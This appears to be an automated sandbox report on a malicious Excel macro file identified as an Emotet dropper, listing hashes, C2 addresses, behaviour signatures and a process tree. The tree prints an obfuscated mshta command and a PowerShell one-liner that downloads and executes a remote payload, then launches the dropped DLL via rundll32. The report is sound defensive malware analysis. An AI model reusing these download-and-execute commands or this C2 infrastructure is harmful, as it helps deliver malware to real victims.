Analysis

  • max time kernel
    150s
  • max time network
    145s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-en-20220112
  • submitted
    20-01-2022 07:03

General

  • Target

    bf154edb1260fa98f30bb6201ed8abd72a55e51938f300f504e164aea6a40603.xlsm

  • Size

    115KB

  • MD5

    cb5ae08f0635dff32c684570750108b5

  • SHA1

    33c65f18d7f753d82cb4ac73540d5e53acb61d5f

  • SHA256

    bf154edb1260fa98f30bb6201ed8abd72a55e51938f300f504e164aea6a40603

  • SHA512

    4728bc8629c0584e23d02d4705ce607c6dd76740f4b64b089c8df5dc30f3fd3bec6d6dd4e39ab0bddb4da4fad6bc184496f580232555f74148db38455084f564

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://0x5cff39c3/sec/se1.html

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://92.255.57.195/sec/se1.png

Extracted

Family

emotet

Botnet

Epoch5

C2

45.138.98.34:80

69.16.218.101:8080

51.210.242.234:8080

185.148.168.220:8080

142.4.219.173:8080

54.38.242.185:443

191.252.103.16:80

104.131.62.48:8080

62.171.178.147:8080

217.182.143.207:443

168.197.250.14:80

37.44.244.177:8080

66.42.57.149:443

210.57.209.142:8080

159.69.237.188:443

116.124.128.206:8080

128.199.192.135:8080

195.154.146.35:443

185.148.168.15:8080

195.77.239.39:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
  • suricata: ET MALWARE W32/Emotet CnC Beacon 3

    suricata: ET MALWARE W32/Emotet CnC Beacon 3

  • Blocklisted process makes network request 5 IoCs
  • Downloads MZ/PE file
  • Sets service image path in registry 2 TTPs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 4 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 5 IoCs
  • Modifies data under HKEY_USERS 41 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 14 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\bf154edb1260fa98f30bb6201ed8abd72a55e51938f300f504e164aea6a40603.xlsm"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3796
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:3544
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c m^sh^t^a h^tt^p^:/^/0x5cff39c3/sec/se1.html
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:2996
        • C:\Windows\system32\mshta.exe
          mshta http://0x5cff39c3/sec/se1.html
          3⤵
          • Blocklisted process makes network request
          • Checks computer location settings
          • Suspicious use of WriteProcessMemory
          PID:4056
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://92.255.57.195/sec/se1.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
            4⤵
            • Blocklisted process makes network request
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:2700
            • C:\Windows\system32\cmd.exe
              "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:1724
              • C:\Windows\SysWow64\rundll32.exe
                C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
                6⤵
                • Loads dropped DLL
                • Suspicious use of WriteProcessMemory
                PID:3044
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
                  7⤵
                  • Loads dropped DLL
                  • Drops file in System32 directory
                  • Suspicious use of WriteProcessMemory
                  PID:3316
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Epsznxsltf\sbiiwvzsxtanuy.dgv",rMwulOsKeF
                    8⤵
                    • Loads dropped DLL
                    • Suspicious use of WriteProcessMemory
                    PID:3852
                    • C:\Windows\SysWOW64\rundll32.exe
                      C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Epsznxsltf\sbiiwvzsxtanuy.dgv",DllRegisterServer
                      9⤵
                      • Blocklisted process makes network request
                      • Loads dropped DLL
                      • Suspicious behavior: EnumeratesProcesses
                      PID:3680
          • C:\Windows\system32\WerFault.exe
            C:\Windows\system32\WerFault.exe -u -p 4056 -s 1724
            4⤵
            • Program crash
            • Checks processor information in registry
            • Enumerates system info in registry
            • Suspicious behavior: EnumeratesProcesses
            PID:3552
    • C:\Windows\system32\svchost.exe
      C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p
      1⤵
        PID:1812
      • C:\Windows\System32\WaaSMedicAgent.exe
        C:\Windows\System32\WaaSMedicAgent.exe a706c6a0f3472b8262c30207f0ace996 mQU6s157AESF7d3PBE+Acg.0.1.0.0.0
        1⤵
        • Modifies data under HKEY_USERS
        PID:1740
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k PrintWorkflow
        1⤵
          PID:1836
        • C:\Windows\system32\WerFault.exe
          C:\Windows\system32\WerFault.exe -pss -s 420 -p 4056 -ip 4056
          1⤵
          • Suspicious use of NtCreateProcessExOtherParentProcess
          • Suspicious use of WriteProcessMemory
          PID:3568
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k wusvcs -p
          1⤵
            PID:3400

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          Registry Run Keys / Startup Folder

          1
          T1060

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          3
          T1012

          System Information Discovery

          4
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Public\Documents\ssd.dll
            MD5

            32acc61226f47023b7e70deca529216a

            SHA1

            5bfe17b62987edcd8cc6e76448f9cbd8fef9d13f

            SHA256

            5472d14831a29dd4c1584c085266a9bf829ff6d21cb944ee1c719edb8646dec1

            SHA512

            dbde93cf65bba84cda4c15c976015d27ea09cb9915c1f59dfeb7f87013679bad46f74082a6ad16a8aa04e3f306fd97e7767c8e4ac62b3686697268480698da21

          • C:\Users\Public\Documents\ssd.dll
            MD5

            32acc61226f47023b7e70deca529216a

            SHA1

            5bfe17b62987edcd8cc6e76448f9cbd8fef9d13f

            SHA256

            5472d14831a29dd4c1584c085266a9bf829ff6d21cb944ee1c719edb8646dec1

            SHA512

            dbde93cf65bba84cda4c15c976015d27ea09cb9915c1f59dfeb7f87013679bad46f74082a6ad16a8aa04e3f306fd97e7767c8e4ac62b3686697268480698da21

          • C:\Users\Public\Documents\ssd.dll
            MD5

            32acc61226f47023b7e70deca529216a

            SHA1

            5bfe17b62987edcd8cc6e76448f9cbd8fef9d13f

            SHA256

            5472d14831a29dd4c1584c085266a9bf829ff6d21cb944ee1c719edb8646dec1

            SHA512

            dbde93cf65bba84cda4c15c976015d27ea09cb9915c1f59dfeb7f87013679bad46f74082a6ad16a8aa04e3f306fd97e7767c8e4ac62b3686697268480698da21

          • C:\Windows\SysWOW64\Epsznxsltf\sbiiwvzsxtanuy.dgv
            MD5

            32acc61226f47023b7e70deca529216a

            SHA1

            5bfe17b62987edcd8cc6e76448f9cbd8fef9d13f

            SHA256

            5472d14831a29dd4c1584c085266a9bf829ff6d21cb944ee1c719edb8646dec1

            SHA512

            dbde93cf65bba84cda4c15c976015d27ea09cb9915c1f59dfeb7f87013679bad46f74082a6ad16a8aa04e3f306fd97e7767c8e4ac62b3686697268480698da21

          • C:\Windows\SysWOW64\Epsznxsltf\sbiiwvzsxtanuy.dgv
            MD5

            32acc61226f47023b7e70deca529216a

            SHA1

            5bfe17b62987edcd8cc6e76448f9cbd8fef9d13f

            SHA256

            5472d14831a29dd4c1584c085266a9bf829ff6d21cb944ee1c719edb8646dec1

            SHA512

            dbde93cf65bba84cda4c15c976015d27ea09cb9915c1f59dfeb7f87013679bad46f74082a6ad16a8aa04e3f306fd97e7767c8e4ac62b3686697268480698da21

          • memory/2700-1681-0x000002838D420000-0x00000283A55B0000-memory.dmp
            Filesize

            385.6MB

          • memory/2700-1653-0x00000283A5B40000-0x00000283A5B84000-memory.dmp
            Filesize

            272KB

          • memory/2700-1589-0x000002838D420000-0x00000283A55B0000-memory.dmp
            Filesize

            385.6MB

          • memory/2700-1506-0x000002838D420000-0x00000283A55B0000-memory.dmp
            Filesize

            385.6MB

          • memory/2700-1439-0x00000283A5620000-0x00000283A5642000-memory.dmp
            Filesize

            136KB

          • memory/2700-1852-0x00000283A5C10000-0x00000283A5C86000-memory.dmp
            Filesize

            472KB

          • memory/3044-1805-0x0000000004DD0000-0x0000000004DF8000-memory.dmp
            Filesize

            160KB

          • memory/3316-1946-0x0000000005180000-0x00000000051A8000-memory.dmp
            Filesize

            160KB

          • memory/3316-1816-0x0000000000ED0000-0x0000000000EF8000-memory.dmp
            Filesize

            160KB

          • memory/3316-1856-0x0000000004DB0000-0x0000000004DD8000-memory.dmp
            Filesize

            160KB

          • memory/3316-1866-0x0000000004E90000-0x0000000004EB8000-memory.dmp
            Filesize

            160KB

          • memory/3316-1884-0x0000000004FA0000-0x0000000004FC8000-memory.dmp
            Filesize

            160KB

          • memory/3316-1891-0x0000000005000000-0x0000000005028000-memory.dmp
            Filesize

            160KB

          • memory/3680-1955-0x0000000004D40000-0x0000000004D68000-memory.dmp
            Filesize

            160KB

          • memory/3680-1951-0x0000000004480000-0x00000000044A8000-memory.dmp
            Filesize

            160KB

          • memory/3680-1953-0x00000000049D0000-0x00000000049F8000-memory.dmp
            Filesize

            160KB

          • memory/3680-1957-0x0000000004DA0000-0x0000000004DC8000-memory.dmp
            Filesize

            160KB

          • memory/3680-1959-0x0000000004E80000-0x0000000004EA8000-memory.dmp
            Filesize

            160KB

          • memory/3680-1961-0x0000000004F70000-0x0000000004F98000-memory.dmp
            Filesize

            160KB

          • memory/3680-1963-0x0000000005070000-0x0000000005098000-memory.dmp
            Filesize

            160KB

          • memory/3680-1965-0x0000000005170000-0x0000000005198000-memory.dmp
            Filesize

            160KB

          • memory/3796-134-0x00007FFF2C470000-0x00007FFF2C480000-memory.dmp
            Filesize

            64KB

          • memory/3796-135-0x00007FFF2C470000-0x00007FFF2C480000-memory.dmp
            Filesize

            64KB

          • memory/3796-133-0x00007FFF2C470000-0x00007FFF2C480000-memory.dmp
            Filesize

            64KB

          • memory/3852-1948-0x0000000004CD0000-0x0000000004CF8000-memory.dmp
            Filesize

            160KB